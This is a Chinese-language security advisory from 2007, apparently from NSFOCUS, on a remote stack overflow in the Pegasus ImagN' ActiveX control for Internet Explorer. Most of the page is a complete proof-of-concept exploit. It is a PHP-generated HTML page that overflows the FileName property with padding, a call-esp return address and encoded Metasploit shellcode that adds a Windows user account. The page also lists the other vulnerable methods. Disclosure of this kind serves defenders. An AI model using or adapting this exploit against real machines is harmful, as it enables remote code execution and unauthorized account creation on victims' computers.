安全研究
安全漏洞
Pegasus ImagN' ActiveX控件远程栈溢出漏洞
发布日期：2007-05-21
更新日期：2007-05-23
受影响系统：
Pegasus Imaging ImagN' for Windows 4.00描述：
BUGTRAQ ID: 24086
ImagN' ActiveX是Pegasus Imaging推出的专门用于显示各类图像文件的控件。
ImagN' ActiveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户机器。
ImagN' for Windows的IMW32040.OCX ActiveX控件在处理某些属性和方式时存在栈溢出漏洞，包括FileName属性，BeginReport()、LoadFox()、DefineImageFox()、CopyBufToClipExA()、CreatePictureExA()、LoadEx()、DefineImageEx()、DefineImage()等方式。如果用户受骗访问了恶意站点并向这些属性或方式传送了超长参数，就可能触发这个溢出，导致执行任意指令。
<*来源：rgod （rgod@autistici.org）
链接：http://secunia.com/advisories/25351/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
IE 6 / Pegasus ImagN' ActiveX Control (IMW32O40.OCX V4.00.041)
remote buffer overflow exploit
windows xp sp2 it version / eip overwrite method
by rgod
site: http://retrogod.altervista.org
mail: retrog at alice dot it
software site: http://www.pegasusimaging.com/
info/download locations:http://www.google.com/search?hl=en&q=PEGASUS+IMAGN
this exploits the Filename property, seh pointers are also overwritten
BeginReport, CreatePictureExA, DefineImage, DefineImageEx, DefineImageFox,
CopyBufToClipExA, LoadEx, LoadFox ... (I stopped to search)
functions are vulnerable aswell
->
<html>
<object classid='clsid:5DA9D8E0-5A57-11CF-9E36-00C0930198C0' id='IMW32O40.ImagN'>
<?php
/* win32_adduser - PASS=tzu EXITFUNC=seh USER=sun Size=483 Encoder=PexAlphaNum http://metasploit.com */
$shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
"\x42\x30\x42\x30\x42\x30\x4b\x58\x45\x44\x4e\x43\x4b\x38\x4e\x57".
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x51\x4b\x48".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x43\x4b\x38".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x54".
"\x4b\x38\x4f\x35\x4e\x41\x41\x50\x4b\x4e\x4b\x38\x4e\x51\x4b\x38".
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x42\x46\x50\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x58\x42\x44\x42\x33\x45\x48\x42\x4c\x4a\x57".
"\x4e\x50\x4b\x38\x42\x54\x4e\x30\x4b\x38\x42\x37\x4e\x41\x4d\x4a".
"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x53".
"\x48\x4f\x42\x36\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x47".
"\x42\x45\x4a\x36\x42\x4f\x4c\x58\x46\x30\x4f\x45\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x38\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x4d\x56".
"\x46\x36\x50\x32\x45\x46\x4a\x47\x45\x56\x42\x52\x4f\x52\x43\x36".
"\x42\x52\x50\x46\x45\x56\x46\x47\x42\x52\x45\x47\x43\x37\x45\x56".
"\x44\x57\x42\x42\x43\x57\x45\x47\x50\x56\x42\x52\x46\x47\x4c\x37".
"\x45\x47\x42\x52\x4f\x42\x41\x34\x46\x34\x46\x54\x42\x42\x48\x42".
"\x48\x32\x42\x52\x50\x46\x45\x36\x46\x57\x42\x52\x4e\x46\x4f\x36".
"\x43\x56\x41\x46\x4e\x36\x47\x56\x44\x47\x4f\x36\x45\x57\x42\x37".
"\x42\x52\x41\x54\x46\x46\x4d\x56\x49\x46\x50\x56\x49\x36\x43\x37".
"\x46\x47\x44\x37\x41\x56\x46\x47\x4f\x56\x44\x37\x43\x37\x42\x52".
"\x43\x57\x45\x57\x50\x46\x42\x42\x4f\x32\x41\x34\x46\x54\x46\x54".
"\x42\x50\x5a";
$eip = "\xb5\x09\xc1\x7d"; // call esp mshtml.dll
$exploit= str_repeat("A",260).$eip.str_repeat("\x90",24).$shellcode;
echo "<param name=\"FileName\" value=\"$exploit\"/>";
?>
</object>
</html>
建议：
厂商补丁：
Pegasus Imaging
---------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.pegasusimaging.com/
浏览次数：2831
严重程度：0（网友投票）
绿盟科技给您安全的保障